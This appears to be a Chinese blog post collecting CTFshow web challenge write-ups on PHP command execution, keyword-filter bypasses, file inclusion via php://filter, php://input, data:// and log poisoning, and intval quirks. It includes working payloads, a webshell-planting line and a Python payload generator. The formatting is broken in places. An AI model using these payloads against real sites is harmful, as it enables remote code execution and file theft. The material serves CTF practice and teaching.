Gentle_knife's Studio.

CTFSHOW 刷题汇总

Word count: 11.6kReading time: 54 min
2025/03/26
loading

本文是网上题解的结合,并非本人所写,偶尔会有一点感想。

WEB 入门

信息搜集

web1-17

爆破

web18-23

命令执行

web29(有没懂的知识)

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

eval 是 PHP 里的一个内置函数,它的作用是把字符串当作 PHP 代码来执行。
?c=system("cat f*");

背景知识

拿到题目,可以看到通过 eval 函数可以执行 php 代码或者系统命令,其中过滤了 flag。

$_GET[c]的意思是我们输入 c 参数; pregmatch 是正则匹配是否包含 flag,if(!preg_match("/flag/i", $c)),/i 忽略大小写,如果输入参数中不包含 flag 的大小写,则进入 if 判断内部。 还有/m 等参数表示多行匹配,具体可以参考这里:https://www.php.cn/php-weizijiaocheng-354831.html

eval($c);就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval 内执行的是 php 代码,必须以分号结尾。eval 和其他函数的对比可以参考这里:https://blog.csdn.net/weixin_39934520/article/details/109231480

分别以如下方法尝试拿到 flag:

1、直接执行系统命令

?c=system("tac%20fla*"); 利用 tac 与 system 结合,拿到 flag

因为可以利用 system 来间接执行系统命令,如果 flag 不在当前目录,也可以利用?c=system("ls"); 来查看到底在哪里。

2、内敛执行 (反字节符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
注意结尾的分号,注意写 writeup 时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用 echo 命令和 tac 相结合来实现。注意 flag 采用*绕过,\`反字节符,是键盘左上角与~在一起的那个。

#### 3、利用参数输入+eval

`?c=eval($_GET[1]);&1=phpinfo();`
试一下,没问题,可以看到 phpinfo 的信息。 然后就使用`?c=eval($_GET[1]);&1=system(ls);`看一下当前目录都有什么,也可以`?c=eval($_GET[1]);&1=system("ls%20/");`看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以 php 代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为 system 的参数必须是 string。

#### 4、利用参数输入+include

这里的 eval 也可以换为 include,并且可以不用括号。但是仅仅可以用来读文件了。
`?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php`
(参考 y4tacker 师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)

也可以尝试写入木马 `file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);` 访问 alb34t.php,然后就可以连马。

#### 5、利用 cp 命令将 flag 拷贝到别处

?c=system("cp%20fl*g.php%20a.txt%20");
然后浏览器访问 a.txt,读取即可。

### web30
```php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

?c=eval($_GET[1]);&1=system("tac fla*");

web31

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){

?c=eval($_GET[1]);&1=system("tac fla*");

web32

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33 (未复现)

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){

与前一关相比,貌似就多过滤了双引号号,所以上一关 payload 依然适用

php 中不需要括号的函数,如:
echo 123; print 123; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "etc/passwd";
这里我们利用include构造 payload

url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

其中?>代替分号,页面会显示 flag.php 内容的 base64 编码,解码即可获取 flag

还有一种方法,日志注入
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log 是 nginx 默认的 access 日志路径,访问该路径时,在 User-Agent 中写入一句话木马,然后用中国蚁剑连接即可

?c=include$_GET[1]?>&1=data://text/plain

web34(未复现)

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){

上面的 data 和 php 协议不能用了

web35

QQ20250510-091241

1
2
3
4
5
6
7
8
9
题目对常见命令都进行过滤, 但是仔细发现可以利用 include 进行绕过, 具体实现方式为 eval(include flag.php;); ,但是题目屏蔽了分号(;)和点号(.), 其中分号可以使用?>平替,但是点号无法绕过, 遂使用 post 执行 php 代码注入 flag.php, 因此可得 payload:

GET:?c=include$_GET[1]?>&1=php://input

POST:<?php system('tac flag.php');?>

需要注意,因为 POST 没有按照 key=value 封装数据, 因此 hackBar 认为数据有问题, 不会发送数据, 可以使用 Burp Suite 发送数据

补充: php://input 默认读取没有处理过的 POST 数据

web36

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){

QQ20250510-144822

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

1
2
3
4
5
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

从 eval 变成 include

单独的 ?c=data://text/plain 并没有任何实际执行或展示数据的功能,它只是表达了数据传递的方式,需要后续指定数据内容,比如 ?c=data://text/plain,Hello%20World 就是传递纯文本 “Hello World”。

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

?c=data://text/plain,<?=system("tac fla*")?>

web38,39

web40(未)

1
2
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);

题解,查看当前工作目录 getcwd(),扫描当前目录及文件”scandir()”输出 为数组,flag.php 在倒数第二个个位置那就数组倒置 array_revers(),变为正数第二,在使用 next()函数指向从第一个指向第二个(及指向 flag.php),最后使用 show_source()查看文件的内容 ?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));

url+?c=print_r(getcwd()); ===> /var/www/html

url+?c=print_r(scandir(getcwd())); ===> Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

url+?c=print_r(array_reverse(scandir(getcwd()))); ==> Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )

url+?c=print_r(next(array_reverse(scandir(getcwd())))); ==> flag.php

url+?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); ==> $flag=”ctfshow{eca2e7df-d196-4b71-9632-ad4d32e194d3}”;

法一

c=eval(array_pop(next(get_defined_vars())));//需要 POST 传入参数为 1=system(‘tac fl*’);

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如 GET、POST、FILE 等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

法二

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替 pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和 pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是 current()函数的别名。

每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

我来解释这个 payload:?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”); //get_defined_vars()用于以数组的形式返回所有已定义的变量值(包括 URL 屁股后面接的 pay),这里源码只定义了一个变量即 c,加上你引入的 pay 就两个变量值了。reset 用于将指向返回变量数组的指针指向第一个变量即 c,next 向前移动一位指针即 pay,eval 执行返回的值就是咱们定义的恶意代码。我这边去掉 system()函数前的分号了,也能出结果。

web41(未)

1
2
3
4
5
6
7
8
9
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

未过滤【或 | 】运算符
可以使用两个不在正则匹配范围内的非字母非数字的字符进行或运算,从而得到我们想要的字符串

首先进行代码审计:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

题目首先接收一个POST请求中名为’c’的参数,然后进行过滤,若未被过滤则执行 eval(“echo($c);”);

1
对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'

该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、”^”、”+”、”~”、”$”、”[“、”]”、”{“、”}”、”&” 或 “-“,并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下”|”没有过滤。所以这道题的目的就是要我们使用 ascii 码为 0-255 中没有被过滤的字符进行或运算,从而得到被绕过的字符。

思路如下:

  • 首先对 ascii 从 0-255 所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
  • 跟据题目要求,构造 payload 的原型,并将原型替换为或运算的结果
  • 使用 POST 请求发送 c,获取 flag

羽师傅先把或运算的结果放进 txt,然后查表构造 payload,用了两个脚本,这里给一个一体化的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

直接输入题目的 URL 就完事

web42

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
  1. >/dev/null 2>&1
    关键部分,这是一个 Shell 命令输出重定向技巧:

    • >/dev/null:将标准输出(stdout)丢弃到空设备(不显示)。
    • 2>&1:将错误输出(stderr,文件描述符 2)重定向到标准输出(stdout,文件描述符 1),最终也被丢弃。

    效果:命令执行后的所有输出(包括错误信息)都被隐藏,攻击者无法直接看到命令执行结果。

假设你是一个餐厅老板(服务器),有两个 “传话筒”:

  1. 标准输出(stdout):正常的订单信息(文件列表、命令结果)
  2. 错误输出(stderr):厨房报错(文件不存在、权限拒绝)

正常情况
顾客(攻击者)点单(发送命令),你通过传话筒把结果喊回去(显示在网页上)。

但这段代码做了什么?

1
>/dev/null 2>&1

相当于你把两个传话筒都剪断了,接到了一个 “黑洞”(/dev/null):

  • >/dev/null:把正常订单信息直接扔进垃圾桶
  • 2>&1:把厨房报错也重定向到和正常信息一样的 “黑洞”

结果
顾客点了 “给我看菜单”(ls /etc/passwd),你确实去厨房查了菜单,但不管查到什么,都不会告诉顾客。顾客只能通过其他方式(比如观察餐厅灯光是否熄灭)猜测命令是否成功执行。

为什么攻击者喜欢这样?

  • 隐藏踪迹:管理员查看日志时,只看到命令被执行,但看不到结果,很难发现异常。
  • 偷偷做事:攻击者可以执行 “下载病毒”“修改文件” 等操作,服务器表面看起来一切正常。

生活类比

想象你家有个保姆,你允许她用微波炉热饭(执行命令),但她偷偷用微波炉烤手机(恶意操作),还把声音关掉(>/dev/null),甚至把冒烟的警报器也拔掉(2>&1),你完全不知道她在干什么。

永远不要让陌生人直接控制保姆!
正确做法是:

  1. 给保姆一个菜单(白名单),只允许她做菜单上的菜(预定义命令)
  2. 你亲自监督她做菜(验证用户输入)
  3. 保留监控录像(记录所有操作)

命令只是将错误输出重定向到了标准输出,并没有重定向标准输出,所以可以将错误输出重定向至/dev/null ?c=cat flag.php &2

1
/?c=tac flag.php;ls

gsfdgdfg

web43

1
2
3
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
1
?c=tac flag.php||ls

web44

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
?c=tac fla*.php||ls

服务器会重定向到 index.php,所以写入其他文件无法查看,直接修改 index.php 输出 flag。

tee 命令不仅会将输入内容写入文件,还会将其输出到标准输出

所以构造 playload:

c=echo “” | tee index.php

再访问 index.php 就是 flag.php 的内容


无回显方式查看 flag 既然跟前面几个一样,这次只不过加了过滤 flag, 可以通过 cp 命令将 flag.php 的内容 cp 成 txt 格式的,?c = cp fla?.php 3.txt 后面直接访问 3.txt 就可以直接看到 flag

web46

1
2
3
if(! preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $ c)){
system($c." >/dev/null 2 >&1 ");

关键是通配符

几种绕过空格的方式 {cat, flag.txt} cat ${IFS}flag.txt cat$ IFS$9flag.txt cat < flag.txt//这俩 <> 貌似没啥用 cat <> flag.txt

cat%0afla?.php cat%09fla?.php 这俩的区别是后者用于语句中间,前者可以用来做末尾的截断

对于 “<”和”<>” 的代替空格方式,要队 “<”和”<>” url 编码,防止数据传输出现问题

?c = tac < fla%27%27g.php||

?c = tac%09fla?.php||

?c = ca\t < fl\ag.php||

?c = tac%09fla?.php%0Als

?c = tail%09fl’’ag.php||ls

?c = nl%09fl??.php%0a

?c = tac%09 which%09ls%0a

web47

就是不屏蔽 tac


if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i”, $c)){
system($c.” >/dev/null 2>&1”);

1
2
3
4
5

### web48



if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`/i”, $c)){
system($c.” >/dev/null 2>&1”);

1
2
3
4
5
6
7
8
9
10

> 还是使用前面两题的 payload ?c=nl%09fl??.php%0a nl 这是 Linux/Unix 命令 "number lines" 功能类似于 cat,但会在每行前面添加行号 用来替代被过滤的 cat 命令 %09 这是 ASCII 码表中制表符(Tab)的 URL 编码 十六进制值为 09,对应 Tab 字符 在命令行中,Tab 可以像空格一样分隔命令和参数 用来替代被过滤的空格字符 fl?? fl 是文件名的前两个字母,通常指 "flag" 每个 ? 是通配符,匹配任意单个字符 两个 ? 可以匹配 "ag",组合起来就是 "flag" 这样绕过了对 "flag" 字符串的过滤 .php 文件扩展名,表示这是一个 PHP 文件 与前面的 fl?? 组合,可以匹配 "flag.php" 文件 %0a 这是换行符(LF)的 URL 编码 十六进制值为 0A,对应换行符 在命令执行时,会将后面的内容放到新的一行 使得 >/dev/null 2>&1 重定向变成单独的一行 这样 nl 命令的输出就不会被重定向到 /dev/null



### web49

​```php
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
1
?c=tac<fla%27%27g.php||ls

web50

1
2
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
1
?c=ta\c<fla%27%27g.php||ls

web51

1
2
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
1
?c=t\ac<fla%27%27g.php||ls

web52

1
2
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
1
2
3
?c=ca\t${IFS}/fla?||ls
?c=nl${IFS}/fla''g%0a
?c=t\ac${IFS}fla%27%27g.php||ls

web53

1
2
3
4
5
6
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';

system()的特殊之处在于它在 “返回值用于赋值” 的同时,还会 “执行命令并输出结果”,这是由函数设计决定的,与赋值操作本身无关。

  echo($c);
    $d = system($c);
    echo "<br>".$d;


​ 这三行里面有很多废话,实际上就等于 system($c);
​ 所以直接把上面的 payload 删掉||和后面的内容就好了
​ ?c=ca’’t${IFS}fla’’g.php

web54

1
2
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
1
2
3
解法一: 使用使用 mv 命令把 flag 文件重命名,再使用 uniq 查看 a.txt(如果第二步看不到,请右键查看文件源代码) 第一步:c= mv${IFS}fla?.php${IFS}a.txt
第二步:c=uniq${IFS}a.txt 解法二: c=uniq${IFS}f???.php

web55

1
2
3
4
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);

由于过滤了字母,但没有过滤数字,我们尝试使用/bin 目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

bash 无字母命令执行

使用

1
$'\154\163'

会执行ls

故 payload 是

1

/?c=$’\143\141\164’%20*

1
2
八进制序列解码后分别为 tac 和 flag.php。

web56

1
2
3
4
5
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);

php 上传的文件会临时放在/tmp 目录下

经典无数字字母rce,

前言

之前做过一道红包题第二弹,这里也是同样的解法,但是新学到了很多知识点,记录一下。

这个解法,p神的文章讲的很清楚无字母数字webshell之提高篇

https://blog.csdn.net/qq_44657899/article/details/109152405

web57

1
2
3
4
5
6
7
8
9
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

文件包含

web78

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

直接让 file=flag.php 是没用的,因为他是一个 php 文件,包含到当前页面会被当成 php 源吗解析,那么他的 flag 是定义的属性,又不会给你打印出来,相当于执行了<?php $flag=xxxx,这里又不会给你打印,所以你需要用 filter 协议,以 base64 的格式去读取,或者用 data 协议去命令执行。

1
?file=php://filter/convert.base64-encode/resource=flag.php

关键部分为 include 这里的$file 可由 get 传参控制,由于没有过滤所以这里方法较多。

使用 data 协议可以很直观有条理的获得 flag

?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个 flag.php

?file=data://text/plain,<?php system('tac flag.php');?> 即可读取 flag.php 的中的内容。

web79

1
2
3
4
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);

尝试使用短标签无果:

1
?file=data://text/plain,<? system('whoami');?>

结果 wp 跟我说这样就行了:

1
?file=data://text/plain,<?= system('whoami');?>

<?= 以代替 <? echo

1
?file=data://text/plain,<?= system('tac flag.***');?>

法一:input 协议 大小写绕过

1
2
3
4
5
6
7
8
9
10
11
payload: 

POST /?file=Php://input HTTP/1.1

<?Php system("ls");?>

POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>

# 仅需在请求行 大写即可

法二: data 协议 + 利用 php 性质绕过

1
2
3
4
5
6
7
payload:

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== # <?php phpinfo();


?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?> # 可以无 ;

<?php ?> :php 默认的开始、结束标签 <? ?> :需要开启 short_open_tag ,即 short_open_tag = On。 <%%> :需要开启 asp_tags ,即 asp_tags = On。 <?= ?> :用于输出,等同于- 可以直接使用 <%= %> :用于输出,等同于- ,需要开启 asp_tags ,才可以使用 short_open_tag 控制的是<? ?>标签。而并非<?= ?>标签,<?= ?>标签用于输出变量。当开启 short_open_tag,<? ?> 功能和<?php ?> 一样。 php中代码开始标志类型(,,,<% %>,<%= %>)

法三:data 协议 base64 加密

1
2
3
4
payload:
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system('ls');

/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');

// 包含日志文件

// bp 拦截请求 修改 UA 为

?file=/var/log/nginx/access.log&1=system(“tac fl0g.php”);

web80

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
1
2
POST /?file=Php://input HTTP/1.1
<?Php system("tac f*");?>

(需要先 ls)

web81

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

直接把伪协议禁了,抄一下上面日志注入的方法。

// 在响应头中可以看到服务器为 nginx

// 包含 nginx 访问日志记录

1
GET /?file=/var/log/nginx/access.log&1=system("tac%20fl0g.php"); 

image-20250702183321642](../../AppData/Roaming/Typora/typora-user-images/image-20250702183321642.png

web82

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

web87

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}
1
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

这句话的意思是,将 die+$content,放入 url 解码后的$file 中。

思路:

$content 是任意可控的,但是前面是 die,所以要让 die die。

怎么让 die die 呢?因为 die 和$content 是一起读取的,所以我们让$file 用 base64 解码的方式写入,也就是说,先对 die 和$content 进行 base64 解码,再写入。那么我们把我们想要写入的命令先 base64 编码,就会无损。而 base64 解码只会注意 phpdie 这六个字符,所以 die 就没办法发挥作用了。

但是这里还有一个问题,因为 base64 是四个为单位,所以读取的时候会拉上后面两个字符。所以我们需要传入的 content 是“两个字符长度的垃圾数据”+“base64 编码的关键命令”

1
aaPD9waHAgc3lzdGVtKCdscycpOw==

还有一个要绕过的过滤,是$file,但是很简单,他是先替换再解码,我们在替换的时候把指定字符藏起来不就好了?

当我们编码一次,浏览器不会帮我编码,于是服务器解码一次就发现了要过滤的字符。

当我们编码两次,那么服务器自己解码一次,获得的是我们编码一次的 URL 编码,没有要替换的字符,在最后的 url 解码部分才成为纯净的你原来想写入的代码。

注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次 url 编码。

另外,需要绕过 die() 函数。

根据文章 谈一谈php://filter的妙用 ,可以有以下思路:

  • base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
  • 所以对于 <?php die('大佬别秀了');?> ,base64 编解码过滤之后就只有 phpdie 6 个字符了,即可进行绕过。
  • 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
  • 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
  • 由于 base64 是 4 个一组,而 phpdie 只有六个,所以要加两个字母凑足 base64 的格式。

这题传参时,file 用 get 方法,content 用 post 方法。

web88

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);

虽然我很想用条件竞争,但是条件竞争的题目在前面来着…

被过滤的字符有:

1
php ~ ! @ # $ % ^ & * ( ) - _ + = .

拦住 . → 那就别用路径穿越

拦住 php → 不用 php://

没拦 data: → 尝试 data://

拦住 = → 尝试删掉结尾 =

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg

📌 一、常见绕过技巧的【字符依赖表】

技术 / Payload 用法 依赖字符(被过滤就不能用) 可用情况说明
php://input php:/ 伪协议输入
data://text/plain;base64,... data:/、(建议有 = base64 执行
file://path/to/file :/. 本地文件包含
../../etc/passwd ./ 路径穿越
phpinfo() ()phpinfo 打探信息
eval($_GET[x]) $() 任意执行
system("ls") ()"system 命令执行
Base64 payload =(可以省略) = 是可选填充
Log 包含 (/var/log/apache2/...) /. 利用日志注入
Session 包含 (/var/lib/php/sess_) /. 利用 session 注入
包含远程文件 (http://...) :/.http URL 包含(前提是 allow_url_include = On)

🌲 二、文件包含漏洞的【利用策略树】

这棵树你可以记成一个“先判断,再选择策略”的流程:

txt复制编辑看见 include、require → 判断是否用户可控

├── 是 → 看是否有过滤(preg_match)?

├── 没有过滤任何字符
│ └── ✅ 使用 php://input 直接包含 POST 的恶意代码

├── 过滤了 php:// 或 php
│ └── ✅ 尝试 data:// 协议(编码后的 payload)

├── 过滤了 ./
│ └── ❌ 无法使用路径穿越、log/session包含

├── 过滤了 =
│ └── ⚠️ base64 编码 payload 去掉 = 测试是否仍可解码

├── 没过滤 :data
│ └── ✅ 试试 data://text/plain;base64,PD9...

├── 能访问日志、session 文件
│ └── ✅ 尝试日志注入、session 注入包含

└── 什么都不能用?
└── 😢 尝试构造可用字符绕过、混淆符号、目录软链接等

🔁 三、实战用法:快速判断法

拿到一道文件包含题,可以快速这么判断:

text复制编辑1. 看是否 include($xx) 或 require($xx) ✅
2. 看是否 GET 控参?(如 ?file=xxx) ✅
3. 看是否有过滤?(preg_match 或 replace) ✅
4. 把不能用的字符列出来 ❌
5. 和字符依赖表对照 ✅
6. 选最合适策略下 payload 🧠

PHP特性

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 。 故此传入?num[]=1,产生错误返回1。 并且preg_math()传入数组参数也会直接返回0

⚠️ 小拓展:关于 SQL 注入中的数组绕过

你提到的这段也很经典:

1
2
.php?id=1  →  正常执行  
.php?id[]=1 → 页面没变,可能是 id 被 intval 处理了

在 PHP 中:

1
2
3
$_GET['id'] => array(1)  // 当参数是 id[]=1 时

intval($_GET['id']) // 返回 1(带 Notice)

所以,如果后台开发者粗心地写了:

1
$id = intval($_GET['id']);

那么:

  • 本来想防注入(比如你加了引号 ‘1),也不会有影响,因为 intval('1') == 1intval('1\' or 1=1') == 1
  • 更糟的是,你传数组也能绕过去!

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

先看题目,要求get一个num,值不等于4476并且intval之后等于4476

👉 intval($num, 0) 是什么意思?

  • 这个用法会让 PHP 自动根据前缀判断进制
前缀 例子 含义
123 十进制
0x 0x117c 十六进制
